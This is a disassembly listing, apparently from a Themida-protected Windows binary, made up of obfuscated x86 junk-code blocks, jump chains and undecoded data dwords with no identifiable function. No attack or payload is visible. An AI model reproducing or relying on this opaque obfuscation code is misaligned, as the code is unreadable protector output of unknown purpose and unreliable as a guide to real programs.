		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		jmp	loc_5626F5
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 1FD36800h, 0C890000h, 4EC8324h, 0BD242C89h, 4
		dd 15DE989h, 240C8BC8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5640A5
; ---------------------------------------------------------------------------
dword_556254	dd 9C241CF6h, 0FF9CBAE9h, 24048FFFh, 0E924248Bh, 0FFFFBD64h
					; DATA XREF: Themida_:0054FC64o
; ---------------------------------------------------------------------------


loc_556268:				; CODE XREF: Themida_:0055F171j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		jmp	loc_561CB3
; ---------------------------------------------------------------------------


loc_55627F:				; CODE XREF: Themida_:005591FDj
		xor	ebx, 28FE7541h
		shr	ebx, 3
		sub	ebx, 0F42E91Dh
		add	ebp, ebx
		jmp	loc_55770A
; ---------------------------------------------------------------------------


loc_556295:				; CODE XREF: Themida_:005634FFj
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_55D955
; ---------------------------------------------------------------------------


loc_5562A2:				; CODE XREF: Themida_:00563325j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	7B1Eh
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_564BDC
; ---------------------------------------------------------------------------


loc_5562B8:				; CODE XREF: Themida_:00560930j
		xor	esi, 45017EA9h
		add	esi, 48DFC96h
		push	ebx
		mov	ebx, esi
		jmp	loc_55DF43
; ---------------------------------------------------------------------------
		dd 6A52E381h, 0EB8159C5h, 4C0D7F98h, 0FFF046E9h, 0C895CFFh
		dd 2B37B924h, 0C18120CDh, 139E7C21h, 0A754E981h, 0E950346Bh
		dd 1A39h, 9C240420h, 8B70E9h, 4E95500h,	5900000Fh, 14FBE781h
		dd 564733F3h, 1BEh, 8BF72900h, 15E92434h, 81000065h, 2C2h
		dd 24143300h, 8710E9h, 0BD555E00h, 26947089h, 5378ED81h
		dd 0E809C97Fh, 1F95355Dh, 1BE95D95h, 89FFFFDDh,	4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 24048F5Ch, 0F9D5E955h, 0EC83FFFFh
		dd 0D1A0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55636A:				; CODE XREF: Themida_:0055900Cj
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_550B81
; ---------------------------------------------------------------------------
		db 5Ch
		dd 6804C483h, 34AAh, 0B6241489h, 0E9F300A8h, 7121h, 0FF2434FFh
		dd 83582434h, 0C48104C4h, 4, 7D07BD55h,	0BAE92EE0h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5563BB:				; CODE XREF: Themida_:00555E3Aj
		pop	esi
		neg	esi
		add	esi, 0C16CF665h
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562E89
; ---------------------------------------------------------------------------


loc_5563D1:				; CODE XREF: Themida_:0055AE3Dj
		pop	edi
		dec	edi
		jmp	loc_552733
; ---------------------------------------------------------------------------
		dd 0AB39D2BBh, 0E9DD0145h, 0F81h, 499BC181h, 0D9F77513h
		dd 6AA3C181h, 0E9814EB4h, 0DB50697h, 2DD7C181h,	0C801D94Bh
		dd 0E9E95259h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556407:				; CODE XREF: Themida_:00560195j
		inc	ebp
		sub	ebp, 764B5E24h
		or	ebp, 45831B9Dh
		or	ebp, 0CC47858h
		xor	ebp, 3F8DDC4Ah
		sub	esi, ebp
		pop	ebp
		pop	ebx
		jmp	loc_554201
; ---------------------------------------------------------------------------


loc_556429:				; CODE XREF: Themida_:0055E215j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5C036125h
		or	edi, 4FFE2E3Fh
		xor	edi, 77017Dh
		jmp	loc_55FEDB
; ---------------------------------------------------------------------------
		db 58h,	55h, 0BDh
		dd 4, 8CE9E801h, 5C000044h, 51243C89h, 0C17F8EB9h, 6EA1BF67h
		dd 0CF3166E9h, 0A4EDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55646A:				; CODE XREF: Themida_:0055BEDAj
		mov	ecx, esp
		jmp	loc_5532FC
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 6F1ECE04h, 0E2F0E958h, 0E95A0000h, 5FD6h
; ---------------------------------------------------------------------------


loc_556484:				; CODE XREF: Themida_:005632EAj
		push	eax
		mov	eax, 4
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	edi, edx
		pop	edx
		jmp	loc_5654D2
; ---------------------------------------------------------------------------
		dd 0C90519BBh, 5BDE8945h, 8106E6C1h, 5B2F4DF6h,	3EE8107h
		dd 50173836h, 0FFFFFFB8h, 58C629FFh, 0B575E9h
		db 0
; ---------------------------------------------------------------------------


loc_5564D1:				; CODE XREF: Themida_:0055FB61j
		push	edx
		mov	dl, 0D0h
		mov	ah, dl
		pop	edx
		jmp	loc_55D0E7
; ---------------------------------------------------------------------------
dword_5564DC	dd 24048B66h, 8E95453h,	5600003Ch, 230EE9h, 2434FF00h
					; DATA XREF: Themida_:0054FDF0o
		dd 4C48159h, 56000000h,	0D17EE9h, 2434FF00h, 67CAE959h
		dd 0C8B80000h, 2978BB5Fh, 86D5E9C3h, 0C8B0000h,	4C48324h
		dd 2A6568h, 24348900h, 0F9BA5250h, 0C177B82Ah, 61E907E2h
		dd 8300004Eh, 0CF8104C4h, 66566DDBh, 0FDFFBE56h, 0F731FFF6h
		dd 0FFF244E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556545:				; CODE XREF: Themida_:00550571j
		inc	bh
		jmp	loc_55BE03
; ---------------------------------------------------------------------------
		dd 0E906E3C0h, 209Eh, 4B951h, 0C8010000h, 0FFF0E3E9h, 4C481FFh
		dd 50000000h, 2B8h, 58C20100h, 2474FF52h, 2434FF04h, 0E92434FFh
		dd 0FFFFE5DFh
; ---------------------------------------------------------------------------


loc_556580:				; CODE XREF: Themida_:00563E96j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_564559
; ---------------------------------------------------------------------------


loc_55658F:				; CODE XREF: Themida_:0055731Ej
		add	esi, eax
		jmp	loc_55AEEE
; ---------------------------------------------------------------------------


loc_556596:				; CODE XREF: Themida_:0055F494j
		pop	ecx
		push	edx
		push	esi
		mov	esi, 1C523C15h
		jmp	loc_564479
; ---------------------------------------------------------------------------
byte_5565A3	db 0FFh			; DATA XREF: Themida_:0054FD0Co
		dd 0E9582434h, 0FFFFD71Bh
; ---------------------------------------------------------------------------


loc_5565AC:				; CODE XREF: Themida_:005617A5j
		push	ecx
		mov	ch, dh
		mov	ah, ch
		jmp	loc_55FD70
; ---------------------------------------------------------------------------
		dw 1968h
		dd 5A729262h, 0E2C1D2F7h, 85C28106h, 0E904EC05h, 2F75h
		dd 0A691E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5565D2:				; CODE XREF: Themida_:0055AC26j
		inc	ebp
		jmp	loc_564FA4
; ---------------------------------------------------------------------------


loc_5565D8:				; CODE XREF: Themida_:0055AF9Bj
		push	ebx
		jmp	loc_5576B4
; ---------------------------------------------------------------------------
		dw 0CDFEh
		dd 8028F580h, 0EC003CEDh, 0DFE95966h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5565EF:				; CODE XREF: Themida_:0055C4BAj
		add	ecx, 0BE68A523h
		and	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 62E046E1h
		push	esi
		jmp	loc_55B282
; ---------------------------------------------------------------------------
aXhwh		db 'XhWH',0
		align 2
		dw 0A2E9h
		dd 66FFFFEFh, 0E924148Bh, 80B6h, 6824248Bh, 6F91h, 68243C89h
		dd 610362CCh, 0FFC7815Fh, 0E9FFFFFFh, 0FFFFF7C2h, 0E9241489h
		dd 0AC99h, 56242489h, 468h, 74015E00h, 0FF5E0424h, 348B2434h
		dd 4C48124h, 52000000h,	0C281E289h, 4, 1704E9h
		db 0
byte_556665	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FDA4o
		dd 4A86824h, 1C890000h,	4EC8124h, 89000000h, 4832424h
		dd 565B0424h, 0E16EE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556686:				; CODE XREF: Themida_:005642DBj
		push	3883h
		jmp	loc_561FE5
; ---------------------------------------------------------------------------
		dd 3034C581h, 0E95872E2h, 0FFFFD6BFh, 98240481h, 5F748448h
		dd 0B964E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5566AA:				; CODE XREF: Themida_:0055A37Ej
		push	ebx
		jmp	loc_558942
; ---------------------------------------------------------------------------


loc_5566B0:				; CODE XREF: Themida_:0055D73Dj
		push	ecx
		mov	ecx, 1D955E16h
		push	edx
		mov	edx, 0D23AC0h
		jmp	loc_559A8C
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 53h
		dd 4BBh, 79BD0500h, 0C5E90F9Ch,	56000077h, 0C34CB068h
		dd 21E95E65h, 0B900007Ch, 54D22A98h, 159CF89h, 57505FFEh
		dd 1E2C8ABFh, 9FCF8166h, 8122BA57h, 436627CFh, 7E7C116h
		dd 0C107EFC1h, 0F78106EFh, 7C83DEB5h, 0E95FF889h, 0D5EEh
		dd 5F2434FFh, 0E6C0E9h,	24043000h, 30240432h, 40E92404h
		dd 83FFFFEBh, 48704E8h,	0AB8E924h, 7C2D0000h, 0C1790528h
		dd 6804E8h, 0E9000000h,	6B35h, 7B90E981h, 0C1292457h, 7B90BD55h
		dd 0E9012457h, 0FFF090E9h, 0E95058FFh, 0FFFFE888h
; ---------------------------------------------------------------------------


loc_556764:				; CODE XREF: Themida_:0055DDA1j
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_550330
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 20B22414h, 9EEC80h, 0B75366D4h, 8EC4809Eh, 0EC80FC00h
		dd 0FF5B668Eh, 0E95A2434h, 0AE84h
; ---------------------------------------------------------------------------


loc_5567A4:				; CODE XREF: Themida_:0055DB9Cj
		add	esp, 4
		jmp	loc_55413F
; ---------------------------------------------------------------------------


loc_5567AC:				; CODE XREF: Themida_:00561B98j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_55CD3A
; ---------------------------------------------------------------------------
		dd 161DBA52h, 0C6E91E58h, 81FFFFA6h, 134776CAh,	0CCE95325h
		dd 43FFFFE4h, 0CB62E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567DD:				; CODE XREF: Themida_:00561535j
		push	esp
		pop	ecx
		jmp	loc_558A0B
; ---------------------------------------------------------------------------
		dd 6DCAF281h, 43E914D5h, 5100005Bh, 42474FFh, 24048F59h
		dd 0E924248Bh, 4D8Bh
; ---------------------------------------------------------------------------


loc_556800:				; CODE XREF: Themida_:005594F4j
		sub	dh, 0CDh
		xor	bl, dh
		pop	edx
		push	dx
		push	eax
		mov	ah, 3Dh
		mov	dh, ah
		pop	eax
		push	cx
		mov	cl, 6Ch
		and	dh, cl
		pop	cx
		jmp	loc_5545F5
; ---------------------------------------------------------------------------
		db 0BAh
		dd 57097D09h, 42D2F74Ah, 0A33EC281h, 0D789A628h, 53DFF75Ah
		dd 5B44F0BBh, 5BDF2146h, 40BEEF81h, 0EA810040h,	7D055417h
		dd 0C281FA01h, 7D055417h, 2414875Fh, 0E924248Bh, 0FFFFFAA0h
		dd 0C5E9C0FEh, 510000D9h, 0FFC417E9h, 0C1D587FFh, 0D5F708E5h
		dd 1E17E9h, 0BA525E00h,	0
		dd 0E2CEE9h, 242C8900h,	0FE74ABDh, 5DEF3167h, 595FFA01h
		dd 0FFCE7CE9h, 2434FFFFh, 0E389535Eh, 9409E9h, 4B900h
		dd 17E90000h, 2C0000D9h, 0C43AE932h, 815D0000h,	4C4h, 2C68300h
		dd 0E9243487h, 0AF8h, 4C781h, 19E90000h, 890000D6h, 0BF575EF3h
		dd 290379CEh, 3EF0BD55h, 0E5E91EBCh, 0FF0000D5h, 81582434h
		dd 4C4h, 66536600h, 66241C87h, 8766D3F7h, 7DE9241Ch, 8900000Ah
		dd 77BB241Ch, 4B171104h, 95A4F381h, 0D9318264h,	59CE015Bh
		dd 4C681h, 62E90000h, 5DFFFFF5h, 24343358h, 33243431h
		dd 4BE92434h, 660000D2h, 0E4E930FFh, 5BFFFF95h,	0EE80FE00h
		dd 241C8BF9h, 0B886E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556942:				; CODE XREF: Themida_:00562672j
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 458B3349h
		push	edx
		push	edi
		sub	dword ptr [esp], 3C707730h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 3C707730h
		push	edx
		add	dword ptr [esp], 29C756E7h
		pop	eax
		sub	eax, 29C756E7h
		pop	edx
		pop	edi
		push	edx
		push	esi
		mov	esi, 27F90A30h
		push	edx
		mov	edx, esp
		jmp	loc_56527B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0EC28E956h, 5B5C0000h, 0C1DBE951h, 0F368FFFFh, 8900004Bh
		dd 57512414h, 732FA8BFh, 58B0E95Eh, 6ABA0000h, 0E920232Fh
		dd 610Bh, 81240C8Bh, 4C4h, 36EB8000h, 0C380C300h, 5AC38036h
		dd 66C0B60Fh, 0E987048Fh, 0FFFF953Fh
; ---------------------------------------------------------------------------


loc_5569D8:				; CODE XREF: Themida_:00562B40j
		or	edx, 123726D4h
		jmp	loc_564107
; ---------------------------------------------------------------------------


loc_5569E3:				; CODE XREF: Themida_:005624F1j
		add	esp, 4
		mov	edi, ecx
		jmp	loc_55128D
; ---------------------------------------------------------------------------


loc_5569ED:				; CODE XREF: Themida_:0056079Ej
		pop	ebp
		jmp	loc_54FF20
; ---------------------------------------------------------------------------
byte_5569F3	db 0ACh			; DATA XREF: Themida_:0054FD40o
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 3EE92434h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556A0B:				; CODE XREF: Themida_:0055F853j
		add	bl, al
		sub	bl, 0Ch
		sub	bl, 0D0h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	small 79BEh
		mov	[esp], cx
		mov	ch, 16h
		jmp	loc_55F71C
; ---------------------------------------------------------------------------


loc_556A29:				; CODE XREF: Themida_:00559DD9j
		shr	edx, 4
		push	56E6h
		mov	[esp], ebp
		mov	ebp, 12467F2Fh
		sub	ebp, 8DD7E9Dh
		add	edx, 24353050h
		jmp	loc_550361
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 2419DCE6h, 0E9DEF723h, 0D35h, 8BF9315Eh, 0C481243Ch
		dd 4, 591C4F21h, 0FF94AAE9h, 0B75B66FFh, 58C73057h, 0D7F6C7FEh
		dd 0E955C780h, 8B59h, 39E9535Bh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A87:				; CODE XREF: Themida_:0055BF83j
		add	eax, 3428AE2Ah
		xor	ebx, eax
		pop	eax
		mov	esi, ebx
		jmp	loc_55A1F7
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0A0CAE924h, 895CFFFFh, 0B7532404h, 5BF8889Eh, 0FFFDABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556AAD:				; CODE XREF: Themida_:0055798Ej
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_551104
; ---------------------------------------------------------------------------


loc_556AC1:				; CODE XREF: Themida_:0055087Ej
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_563D67
; ---------------------------------------------------------------------------
		dd 0B8240489h, 556B6858h, 76C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_556AE1:				; CODE XREF: Themida_:00551C4Ej
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	bx, 46CCh
		jmp	loc_5549FA
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0E1h
		dd 56FFFF94h, 0FFDECAE9h, 87BD55FFh, 0B8075221h, 1CBD5AC1h
		dd 4DE9E829h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556B1B:				; CODE XREF: Themida_:0055B7E1j
		push	ecx
		jmp	loc_558A82
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 63h
		dd 0BD0D300Bh, 68101F18h, 69E9D501h, 0BDFFFF95h, 690E7F00h
		dd 787143BFh, 0E9EF314Fh, 4634h, 4C481h, 2BB20000h, 0BA60E9h
		dd 58E12800h, 0FFD456E9h, 0E9EE29FFh, 0FFFFFDBBh, 0E902E8C0h
		dd 0FFFFAC6Ah, 4EA81h, 48E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B73:				; CODE XREF: Themida_:00554342j
		pop	ecx
		push	ecx
		mov	ecx, 95659AFh
		add	ecx, 1
		and	ecx, 3F85009Fh
		neg	ecx
		jmp	loc_55E4BD
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 4C681h, 89E90000h, 80000078h, 696810F3h, 89000072h
		dd 50E92414h, 500000E1h, 0FFB7DCE9h, 241C89FFh,	0F3808EB3h
		dd 8BDC080Bh, 0C481241Ch, 4, 0E999EC80h, 0B0BFh, 242D68h
		dd 241C8900h, 516645B3h, 0FFC270E9h, 77095CFFh,	24348B1Ch
		dd 0E904C483h, 0FFFFEC74h, 4ECAB951h, 0CD0113C4h, 241C8B59h
		dd 5604C483h, 4D3650BEh, 5363683Ch, 34890000h, 2414F724h
		dd 5124348Bh, 94A4E954h, 0E0890000h, 405h, 4C08300h, 5C240487h
		dd 5084E581h, 0BE5676DAh, 54B65F0Eh, 6159CE81h,	0DEF77CC1h
		dd 0FFD8FDE9h, 0E4F581FFh, 177207Dh, 242C8BEBh,	5504C483h
		dd 0ED6521BDh, 81EDD15Bh, 7A54E5CDh, 0D274E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C5A:				; CODE XREF: Themida_:005626E4j
		push	edi
		mov	edi, 4
		jmp	loc_55605E
; ---------------------------------------------------------------------------


loc_556C65:				; CODE XREF: Themida_:00561BBDj
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_562747
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8300h, 43FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556C85:				; CODE XREF: Themida_:0055A89Ej
		add	dl, 53h
		xor	ch, dl
		pop	edx
		xor	ch, 9Dh
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5531D8
; ---------------------------------------------------------------------------
		db 81h
		dd 4B7756E2h, 230E686Bh, 2C890000h, 246AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556CB2:				; CODE XREF: Themida_:0055F014j
		add	edx, ebp
		pop	ebp
		add	edx, 135631EFh
		not	edx
		add	edx, 24AC7F08h
		push	421Ah
		mov	[esp], eax
		mov	eax, 549F0D1Bh
		jmp	loc_55A3D2
; ---------------------------------------------------------------------------
		db 57h,	50h, 0E9h
		dd 6317h
; ---------------------------------------------------------------------------


loc_556CDC:				; CODE XREF: Themida_:00559DBEj
		mov	ebx, ecx
		pop	ecx
		not	ebx
		sub	ebx, 47F605B8h
		shl	ebx, 8
		not	ebx
		neg	ebx
		jmp	loc_55CB35
; ---------------------------------------------------------------------------
		db 81h
		dd 10E9242Ch, 5582E49h,	2E4910E9h, 32D2355Bh, 0BB537DA3h
		dd 40h,	23B7C381h, 0FB01267Bh, 80B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_556D19:				; CODE XREF: Themida_:005584ACj
		add	dword ptr [esp], 366265DAh
		pop	eax
		sub	eax, 366265DAh
		mov	edx, eax
		push	dword ptr [esp]
		jmp	loc_56356F
; ---------------------------------------------------------------------------
		dd 8159CF89h, 5B554AC7h, 0F2EF8133h, 16D4068h, 0E8BA52D7h
		dd 0C1676839h, 0D2F702EAh, 8893EA81h, 7E978E5h,	0BB0000E6h
		dd 0CAD3253h, 0BFE95653h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556D63:				; CODE XREF: Themida_:0055E9E7j
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
aLTSm		db '‹$$Áâ',8,'é¬Ô',0
		db 0
; ---------------------------------------------------------------------------


loc_556D83:				; CODE XREF: Themida_:0055E911j
		push	edi
		mov	edi, esp
		push	2BE1h
		jmp	loc_55AE34
; ---------------------------------------------------------------------------


loc_556D90:				; CODE XREF: Themida_:00564C95j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_559011
; ---------------------------------------------------------------------------
		db 68h
		dd 76A7h, 51242C89h, 816DC5B9h,	923DBD32h, 0CD01CD7Eh
		dd 0E5CCE959h, 1C8BFFFFh, 53E95024h, 59FFFFFEh,	2474FF56h
		dd 48F5E04h, 24248B24h,	8B1C4721h, 1CE92404h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DD7:				; CODE XREF: Themida_:0055185Aj
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_562F4C
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 0C6BA5256h, 0F712FC6Eh, 4960E9DAh, 6C2C0000h, 240C8B66h
		dd 0E902C483h, 0FFFFBCA4h
; ---------------------------------------------------------------------------


loc_556E1C:				; CODE XREF: Themida_:00554EB6j
		pop	edi
		push	edi
		xchg	esi, [esp]
		jmp	loc_5642FB
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0BEF7h, 573CE981h, 8B5F0CE5h, 0C4812414h, 4,	0FFE2ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556E41:				; CODE XREF: Themida_:00559765j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_562061
; ---------------------------------------------------------------------------
		db 5, 39h, 75h
		dd 0D8014F2Fh, 2F75392Dh, 0C9F9E94Fh, 0E2810000h, 227C5E75h
		dd 3C3CC281h, 0CA814235h, 7D91296Dh, 6E67F281h,	0C281F272h
		dd 6F3238E1h, 0BF57CA01h, 6F3238E1h, 7C9DC281h,	0FA296D86h
		dd 0E3B4E9h
		db 0
byte_556E91	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FC68o
		dd 50240C8Bh, 77D6E9h, 0C2815A00h, 17946883h, 0FFE5A7E9h
		dd 38F68FFh, 3C890000h,	68505624h, 84140C7h, 1536E9h, 24148900h
		dd 8CBA5256h, 815D9706h, 4C45D5CAh, 31E2E907h, 215F0000h
		dd 0B9515AD6h, 4FF67422h, 0E959CE21h, 0FFFFED29h, 0E924248Bh
		dd 78E4h
; ---------------------------------------------------------------------------


loc_556EEC:				; CODE XREF: Themida_:0055A3E9j
		pop	edx
		jmp	loc_55377C
; ---------------------------------------------------------------------------
word_556EF2	dw 0C8Bh		; DATA XREF: Themida_:0054FD5Co
aS0		db '$é0²',0
		align 2


loc_556EFA:				; CODE XREF: Themida_:0055DA5Fj
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_55C21A
; ---------------------------------------------------------------------------


loc_556F09:				; CODE XREF: Themida_:0055AA66j
		push	ebp
		push	2A5E2656h
		pop	ebp
		or	ebp, 5B574D3Fh
		dec	ebp
		jmp	loc_55BDB8
; ---------------------------------------------------------------------------
		dd 2C58158h, 55000000h,	42474FFh, 9367E9h, 24143100h, 5C241433h
		dd 0AEFBE9h, 240C8900h,	0D6E9E189h, 830000B7h, 248904ECh
		dd 24048124h, 4, 0A0685Eh, 4890000h, 4B824h, 0C6010000h
		dd 4EE8158h, 56000000h,	42474FFh, 24048F5Eh, 2414895Ch
		dd 0B45F26BAh, 8E2C12Ch, 0E902EAC1h, 5CCh, 4C481h, 0B7680000h
		dd 89000057h, 0E2892414h, 4C281h, 0C2830000h, 24148704h
		dd 4EC835Ch, 0FF243C89h, 5F042474h, 478E9h, 4C68100h, 81000000h
		dd 4C6h, 24348700h, 0B4ECE95Ch
		db 2 dup(0FFh)
word_556FC6	dw 8B66h		; DATA XREF: Themida_:0054FEBCo
		dd 2368240Ch, 89000044h, 8F68243Ch, 89000039h, 4812424h
		dd 424h, 243C8B00h, 4C481h, 0EBE90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556FEF:				; CODE XREF: Themida_:00554791j
		add	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55999E
; ---------------------------------------------------------------------------


loc_55700C:				; CODE XREF: Themida_:00554436j
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 39D8717Ch
		sub	dword ptr [esp+4], 28163696h
		add	[esp+4], ebp
		jmp	loc_55BC94
; ---------------------------------------------------------------------------


loc_557027:				; CODE XREF: Themida_:005592C9j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0AA8645Ah
		jmp	loc_56160E
; ---------------------------------------------------------------------------
		dd 76F5C381h, 0F3816E77h, 4044493Ch, 875BD901h,	248B240Ch
		dd 2434FF24h, 0B757E958h, 0E9C00000h, 0C4C4E907h, 0EA810000h
		dd 7EF10AC7h, 0C281EA01h, 7EF10AC7h, 0FFE47BE9h, 24148BFFh
		dd 2904C483h, 0A4E6E9DEh, 0EF83FFFFh, 243C8702h, 6624248Bh
		dd 0B2241489h, 66D30087h, 8124148Bh, 2C4h, 66A2E900h, 0E1C10000h
		dd 45C18103h, 314A055Bh, 0F1815BD9h, 45016AC2h,	2BC2BB53h
		dd 0D9314FA8h, 0E789575Bh, 4EC81h, 0C890000h, 4B924h, 0CF010000h
		dd 0FFBC35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5570D9:				; CODE XREF: Themida_:0055E8E3j
		mov	[esp], edx
		mov	edx, 1862446Ch
		or	esi, edx
		pop	edx
		neg	esi
		push	2116h
		mov	[esp], ebx
		mov	ebx, 19137DBFh
		sub	ebx, 22261BC0h
		or	ebx, 6C8810C2h
		jmp	loc_564871
; ---------------------------------------------------------------------------


loc_557104:				; CODE XREF: Themida_:005633EFj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_564329
; ---------------------------------------------------------------------------


loc_557119:				; CODE XREF: Themida_:0055F01Aj
		mov	edx, ecx
		mov	edi, edx
		pop	edx
		jmp	loc_564385
; ---------------------------------------------------------------------------
aSU		db ')Â鸓',0
		align 2


loc_55712A:				; CODE XREF: Themida_:0055F84Aj
		shr	edx, 3
		add	edx, 0FA81E953h
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		add	dword ptr [ebx], 1
		jmp	loc_55E204
; ---------------------------------------------------------------------------
		db 56h
		dd 0BE6ED8BEh, 5EF331C3h, 0DD226A05h, 0FCF7E953h, 8950FFFFh
		dd 405E0h, 0BE560000h, 4, 0E95EF001h, 0E387h
; ---------------------------------------------------------------------------


loc_55716C:				; CODE XREF: Themida_:005577D4j
		mov	edx, [esp]
		push	ecx
		jmp	loc_5591CE
; ---------------------------------------------------------------------------
		db 5Bh,	58h, 66h
		dd 8324148Bh, 0E95302C4h, 1FA4h
; ---------------------------------------------------------------------------


loc_557184:				; CODE XREF: Themida_:0055B8D1j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	52B51D23h
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 2
		add	ebx, 0B52B8B73h
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_551B4A
; ---------------------------------------------------------------------------
		dd 38C868h, 241C8900h, 8083B652h, 0FBB3CBEEh, 0A4E9F300h
		dd 1FFFFD1h, 5685BDEh, 89000077h, 68562404h, 51428CDh
		dd 0BE30E95Eh, 895C0000h, 0E389241Ch, 9A96E9h
		db 0
; ---------------------------------------------------------------------------


loc_5571F9:				; CODE XREF: Themida_:00550D84j
		add	eax, 38612F89h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_550FE4
; ---------------------------------------------------------------------------
		db 57h
		dd 9C2F33BFh, 5FFD8933h, 0FFFFED81h, 0D5F7FFFFh, 726CED81h
		dd 9DE94A0Eh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557227:				; CODE XREF: Themida_:005521E1j
		xor	eax, ebp
